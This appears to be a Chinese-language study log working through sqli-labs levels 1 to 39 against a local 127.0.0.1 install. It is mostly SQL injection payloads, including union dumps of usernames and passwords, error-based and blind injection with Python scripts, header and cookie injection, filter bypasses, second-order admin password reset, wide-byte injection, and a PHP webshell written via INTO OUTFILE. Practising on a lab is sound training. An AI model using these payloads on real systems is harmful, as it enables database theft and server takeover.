前言:最近做了一些sql注入的题目,发现自己还是不怎么会,很多东西都还没有见过,所以就下载了sqli-lab来练一练,每天至少做一题。
一.Less-1
这个没有任何过滤,就不说了。
///////////////////0' order by 3
///////////////////0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23
####emails,referers,uagents,users
///////////////////0' union select 1,group_concat(column_name),2 from information_schema.columns where table_name='users' %23
#####USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,usernamefilename,id,username,password
///////////////////0' union select group_concat(username),group_concat(password),group_concat(id) from users %23
二.Less-2
输入1,正常显示,输入1‘,报错
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1
所以这是一个intiger injection。
输入
1 order by 1 正常回显
1 order by 2 正常回显
1 order by 3 正常回显
1 order by 4 不正常回显
所以我们可以知道有3个字段
继续
0 union select 1,2,3 %23
回显说明 显示第二个和第三个。
继续注入
0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23
爆出表名 emails,referers,uagents,users
继续注入
0 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' %23
爆出字段名
USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,usernamefilename,id,username,password
继续注入
0 union select 1,group_concat(username),group_concat(password) from users %23
爆出所有用户名和密码。
三.Less-3
首先输入1,正常回显,输入1‘ 报错,报错如下。
说明原来的语句可能是这样的
select * from users where id=(' 变量 ') limit 0,1;
打开语句果然是这样。接下来就和上面一样开始注入
0') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23
结果如下
emails,referers,uagents,users
继续注入
0') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' %23
结果如下
USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,usernamefilename,id,username,password
继续注入
0') union select 1,group_concat(username),group_concat(password) from users %23
四.Less-4
只是把上面的单引号换成了双引号。
五.Less-5
打开测试了一下,发现显示 you are in …。一时间不知道如何下手,看了title,double query,双查询注入,查了一下。
1.聚合函数后面如果加了分组函数 就会报错,并会返回查询结果。聚合函数有这些
AVG([distinct] expr)
COUNT({*|[distinct] } expr)
MAX([distinct] expr)
MIN([distinct] expr)
SUM([distinct] expr)
其中count后面能加 '*'
2.floor(rand()*2)生成随机数并且想下取整。为什么要用这个呢?
floor(rand()*2),会生成0或者1,只要表里面有两个相同的就会报错。如下图所示。
这样就能报错注入了。
127.0.0.1/www/sql/Less-5/?id=-1' union select count(*),1,concat((select database()),floor(2*rand()))as a from information_schema.tables group by a %23
//////
127.0.0.1/www/sql/Less-5/?id=-1' union select count(*),1,concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(2*rand()))as a from information_schema.tables group by a %23
//////
其他的都类似就不写了。
还可以用多表查询的格式来报错注入
//select 1 from (table name); 多表查询
-1' union select 1,2,1 from (select count(*), concat((select user()), floor(rand()*2))as a from information_schema.tables group by a)b
最后那个b也可以改为其他的,只是个别名,一定要加上去,因为每一个派生类的表都要有别名。
六.Less-6
单引号换为双引号就行了。
七.Less-7
输入 1 显示you are in —USE outfile—,接着输入1‘ 报错,接着输入1" 不报错,输入1’)%23报错,输入1‘))%23不报错,所以用1‘))来闭合,接着发现输入一些常用的,都不会显示结果,报错注入也没有用。然后看了title,outfile,于是上网搜索了一下,outfile。
于是用以下的payload。
id=1')) union select 1,2,'<?php @eval($_POST["123"]);?>' into outfile 'D:\\wamp\\tmp\\qwe.php' %23
试了其他的存放路径好像不太行,可能是权限问题吧,这样就上传了一句话木马,chopper连接就行了。
八.Less-8
今天做了一下那个强网的sql注入题,呜呜呜,tcl。
输入1,回显you are in ,输入 1’ %23 ,有回显 。
说明这个是单引号闭合,可是又没有回显。这个时候,试一试盲注。
import requests
url1='http://127.0.0.1/www/sql/Less-8/?id='
data="1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))={1},sleep(5),0) %23"
table_name=''
for i in range(1,20):
for j in range(48,128):
d=data.format(i,j)
url=url1+d
try:
r=requests.get(url=url,timeout=5)
except requests.exceptions.ReadTimeout:
table_name+=chr(j)
print(table_name)
这样得到第一个表名,然后稍稍修改就行了。
九.Less-9
这题无论输入什么,都不会报错,那这样输入
1' and 1=1 and sleep(5) %23
发现过了5s,浏览器才给予回应,接着这样输入
1“ and 1=1 and sleep(5) %23
这样就直接给予回应,所以这里应该是单引号闭合的,而且是一个盲注,所以我们写脚本。
脚本和less7的那个差不多,只要把url该一下就行了。
十.Less-10
单引号改为双引号就行了。
十一.Less-11
尝试一下 admin’ or 1=1 #,密码随便输,竟然成功,所以这里就很简单了,没有任何过滤,hiahiahia。
1' union select group_concat(table_name),1 from information_schema.tables where table_schema=database() #
脱表名,然后就和之前一下很简单啦。
十二.Less-12
输入admin’ 没有任何回显,输入admin" 报错了
报错如下
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"admin"") and password=("") LIMIT 0,1' at line 1
可以的看到这里是用("")来闭合的,所以我们只要闭合这个"),就可以了。
输入admin") or 1=1 # 就可以得到username和password。
然后下面就很好注入了,依次得到数据库里面的内容。
十三.Less-13
简单的测试了一下,发现是‘)闭合的,而且没有回显,可以用基于布尔型的盲注,或者double query injection。
基于布尔型的盲注
1‘) or substr((查询语句),1,1)>'a' #
double query injection
1') union select count(*),concat( (select database()),floor(rand()*2)) as a from information_schema.tables group by a #
建议使用基于布尔的盲注,因为double query 有的时候需要试好几次。
十四.Less-14
输入1‘ 没有回显,输入1“报错了,说明这个是双引号闭合,构造payload
1" union select count(*),concat( (select database()),floor(rand()*2)) as a from information_schema.tables group by a #
或者基于bool的盲注
1“ or substr(查询语句,1,1)>'a'#
写python脚本进行盲注,当页面第一次出现失败的时候,字母的前一位就是正确的值。
下面只是一个小例子。
import requests
url1='http://127.0.0.1/www/sql/Less-14/'
flag=''
for j in range(1,16):
for i in range(47,127):
payload={
'uname':"1\" or ascii(substr((select database()),{},1))>{} #",
'passwd':'1'
}
payload['uname']=payload['uname'].format(str(j),str(i))
r=requests.post(url=url1,data=payload)
print(payload)
if 'flag' not in r.content.decode('utf-8'):
flag+=chr(i)
break
print(flag)
十五.Less-15
输入 1‘ or 1=1 #成功
输入 1" or 1=1 #失败
所以是单引号闭合
这边不会报错,所以我们就用盲注,基于bool,或者时间。
基于bool
import requests
url1='http://127.0.0.1/www/sql/Less-15/'
flag=''
for j in range(1,16):
for i in range(47,127):
payload={
'uname':"1' or ascii(substr((select database()),{},1))>{} #",
'passwd':'1'
}
payload['uname']=payload['uname'].format(str(j),str(i))
r=requests.post(url=url1,data=payload)
print(payload)
if 'flag' not in r.content.decode('utf-8'):
flag+=chr(i)
break
print(flag)
十六.Less-16
经过一番小测试,测试出来原来的语句是用")
来闭合的。输入admin") and if(2>1,sleep(5),3)#
发现浏览器果然过了5秒钟,才给予回应,所以我们可以时间盲注来进行注入,当然我们也可以用基于bool的盲注,进行注入。
这里我只贴出基于时间盲注的一个小脚本,需要使用的时候自己稍微改一下,也不是很麻烦。我这里为什么要加ascii呢,因为我之前跑的时候,发现他这个不会区分大小写,这就很难受,所以我加了ascii。
import requests
url="http://127.0.0.1/www/sql/Less-16/"
flag=""
for i in range(1,15):
for j in range(48,127):
payload={
'uname':'admin") and if(ascii(substr((select database()),{},1))={},sleep(3),1)#',
'passwd':'1'
}
payload['uname']=payload['uname'].format(str(i),str(j))
try:
r=requests.post(url=url,data=payload,timeout=3)
except:
flag+=chr(j)
print(flag)
print('the data is '+flag)
用的时候需要自己改查询语句。
十七.Less-17
登陆页面我们发现这是一个密码重置,所以猜测后台的sql语句是这样的,
update set password=' ' where username=xxxx
可以用updatexml,也可以用extractxml进行注入。
1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) #
1' and extractvalue(1,concat(0x7e,(select database()),0x7e)) #
然后就很简单了,查数据就行了。
十八.Less-18
进入网址,测试了一番没有什么用,然后读了源码,发现这个题目必须要登陆进去才能进行注入。注入点在哪呢,host肯定是不能注入的,uname也肯定是不能注入的,只能在uagent那边进行注入。
源代码如下
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-18 Header Injection- Error Based- string</title>
</head>
<body bgcolor="#000000">
<div style=" margin-top:20px;color:#FFF; font-size:24px; text-align:center"> Welcome <font color="#FF0000"> Dhakkan </font><br></div>
<div align="center" style="margin:20px 0px 0px 510px;border:20px; background-color:#0CF; text-align:center;width:400px; height:150px;">
<div style="padding-top:10px; font-size:15px;">
<!--Form to post the contents -->
<form action="" name="form1" method="post">
<div style="margin-top:15px; height:30px;">Username :
<input type="text" name="uname" value=""/> </div>
<div> Password :
<input type="text" name="passwd" value=""/></div></br>
<div style=" margin-top:9px;margin-left:90px;"><input type="submit" name="submit" value="Submit" /></div>
</form>
</div>
</div>
<div style=" margin-top:10px;color:#FFF; font-size:23px; text-align:center">
<font size="3" color="#FFFF00">
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,20);
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}
$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];
echo "<br>";
echo 'Your IP ADDRESS is: ' .$IP;
echo "<br>";
//echo 'Your User Agent is: ' .$uagent;
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
/*
echo 'Your Your User name:'. $uname;
echo "<br>";
echo 'Your Password:'. $passwd;
echo "<br>";
echo 'Your User Agent String:'. $uagent;
echo "<br>";
echo 'Your User Agent String:'. $IP;
*/
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Agent:'.$uname."\n");
fclose($fp);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1)
{
echo '<font color= "#FFFF00" font size = 3 >';
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
mysql_query($insert);
//echo 'Your IP ADDRESS is: ' .$IP;
echo "</font>";
//echo "<br>";
echo '<font color= "#0000ff" font size = 3 >';
echo 'Your User Agent is: ' .$uagent;
echo "</font>";
echo "<br>";
print_r(mysql_error());
echo "<br><br>";
echo '<img src="../images/flag.jpg" />';
echo "<br>";
}
else
{
echo '<font color= "#0000ff" font size="3">';
//echo "Try again looser";
print_r(mysql_error());
echo "</br>";
echo "</br>";
echo '<img src="../images/slap.jpg" />';
echo "</font>";
}
}
?>
</font>
</div>
</body>
</html>
所以我们这边利用报错注入得到数据。
burp抓包,修改数据。
User-Agent: hahaha' and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '1'='1
User-Agent: hahaha' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or '1'='1
以上两个都可以,这样就得到了数据内容。接下来还和常规套路一样,直接爆表那些的。
十九.Less-19
主要代码如下
$uagent = $_SERVER['HTTP_REFERER'];
$IP = $_SERVER['REMOTE_ADDR'];
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1)
{
echo '<font color= "#FFFF00" font size = 3 >';
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
mysql_query($insert);
}
我们可以修改referer,然后造成报错注入。
burp抓包,修改referer为下面内容
Referer: 123' and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '1'='1
或者
Referer: 123' and updatexml(0x7e,concat(0x7e,(select database()),0x7e),0x7e) and '1'='1
接着就是常规套路,?
二十.Less-20
首先登陆进去,看到页面返回如下信息。
看到这里有cookie,我们就想到cookie注入。
用burp抓包尝试一下注入。
将cookie改为1‘ ,页面会报错。
将cookie改为1“,页面正常显示。
所以我们这里开始注入,测试发现原来查询语句,查询了3个字段,回显在第二,第三字段。
如下图所示。
然后就可以按常规发放注入了。
二十一.Less-21
源代码如下。
$cookee = base64_decode($cookee);
echo "<br></font>";
$sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";
cookie注入,burp抓一下包,发现cookie用了base64加密了,那只需要将我们的注入语句进行base64加密就行了。
请求包如下
GET /index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.47 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: uname=MScpIHVuaW9uIHNlbGVjdCAxLGdyb3VwX2NvbmNhdCh0YWJsZV9uYW1lKSwzIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9ZGF0YWJhc2UoKSAj
Upgrade-Insecure-Requests: 1
二十二.Less-22
重要代码如下
$cookee = base64_decode($cookee);
$cookee1 = '"'. $cookee. '"';
echo "<br></font>";
$sql="SELECT * FROM users WHERE username=$cookee1 LIMIT 0,1";
这边的cookie被他用双引号给引起来了,所以还是很简单。
请求包如下
GET /Less-22/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.47 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: uname=MSIgdW5pb24gc2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCkgIw==
Upgrade-Insecure-Requests: 1
二十三.Less-23
测试了一下,这边是单引号闭合,而且把注释符给过滤了,不过并没有什么用。我们可以通过 and ‘1’=‘1 这种方式来闭合单引号,这样就不需要注释了,嘻嘻嘻。
这边的姿势就很多了,可以直接union查询,也可以报错注入。
-1' union select 1,2,3 and '1'='1
-1' and updatexml(0x7e,concat(0x7e,(select database()),0x7e),0x7e) and '1'='1
剩下的就很简单了。
二十四.Less-24
这个是一个二次注入,虽然在执行sql语句的时候,加了/ 转义,但是当数据插入表的时候,还是原来的语句,这个时候就造成了二次注入,这样我们就可以修改管理员的密码。
我们注册一个用户 叫 admin’# ,然后登陆进去修改密码,修改完后,admin的密码就是你刚刚修改的密码。为什么会这样呢,看一下下面这个update语句就知道了。
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
当我们输入的时候,这个语句会变成这样子
update users set password='123' where username='admin'#' and password='$curr_pass';
这个时候后面的的东西就被注释掉了,所以管理员密码也就被改掉了。
二十五.Less-25
登陆进去发现他已经告诉我们了 and 和 or 被过滤了,然后我尝试输入anandd,发现回显and,说明他只是把and替换成了空,我们这里可以双写绕过,这就很简单了,嘿嘿嘿。
payload如下
-1' union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema=database() %23
注意这里的information里面的or要双写,这样我们就可以得到了数据库里面所有的内容。
二十六.Less-26
这里过滤了空格和and or,不过没关系,我们都可以绕过的。
payload如下,利用报错注入。
id=0%27||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())),0x7e),1))||%27%27=%27a
二十七.Less-27
过滤了select,union,发现union可以双写绕过,select就不能双写绕过了,然而可以大小写绕过,这样就很简单了,嘻嘻嘻。空格可以用%a0 %09代替,payload如下
0'uunionnion%09sElect%091,2,3%09||'2'='3
二十八.Less-28
首先判断这是一个‘)闭合的语句,然后测试他是怎么过滤 union和select的,经过测试发现,当输入union select
的时候他就替换为空,单个输入union和select的时候是不会替换为空的,所以我们这里可以不用%09来代替空格,我们可以用%a0来代替空格,所以最后的payload如下:
0')%a0union%a0select%091,user(),version()%a0||('3'='2
二十九.Less-29
直接附上别人博客地址
https://blog.csdn.net/weixin_33804990/article/details/88176715
三十.Less-30
这一关和上面都差不多只不过闭合的不一样。
三十一.Less-31
和上一关一样。。。。。。。。。
三十二.Less-32
宽字节注入,因为编码设置为gbk,而在中文中%df%5c(%5c为\的url编码)为一个汉字,所以就造成了注入。
payload
%df' union select 1,2,3 %23
三十三.Less-33
同32关
三十四,Less-34
还是用宽字节 ,可以使用盲注 或者 报错注入。
三十五.Less-35
先测试一下,好像原语句没有引号,select * from users where id=$id; 应该是这样的。
那就直接注入,0 union select 1,2,3 %23
怎么感觉后面的越来越简单了。。。。。
三十六.Less-36
payload:0%df%27%20union%20select%201,2,3%20%23
三十七.Less-37
宽字节报错注入
�' || extractvalue(1,concat(0x7e,(select database()),0x7e)) #
三十八.Less-38
这个题目可以直接注入
0’ union select 1,2,3 %23
看了一下源码,好像是可以堆叠注入的。
三十九.Less-39
payload
0 union select 1,2,3 %23
这里也是可以堆叠注入的。。。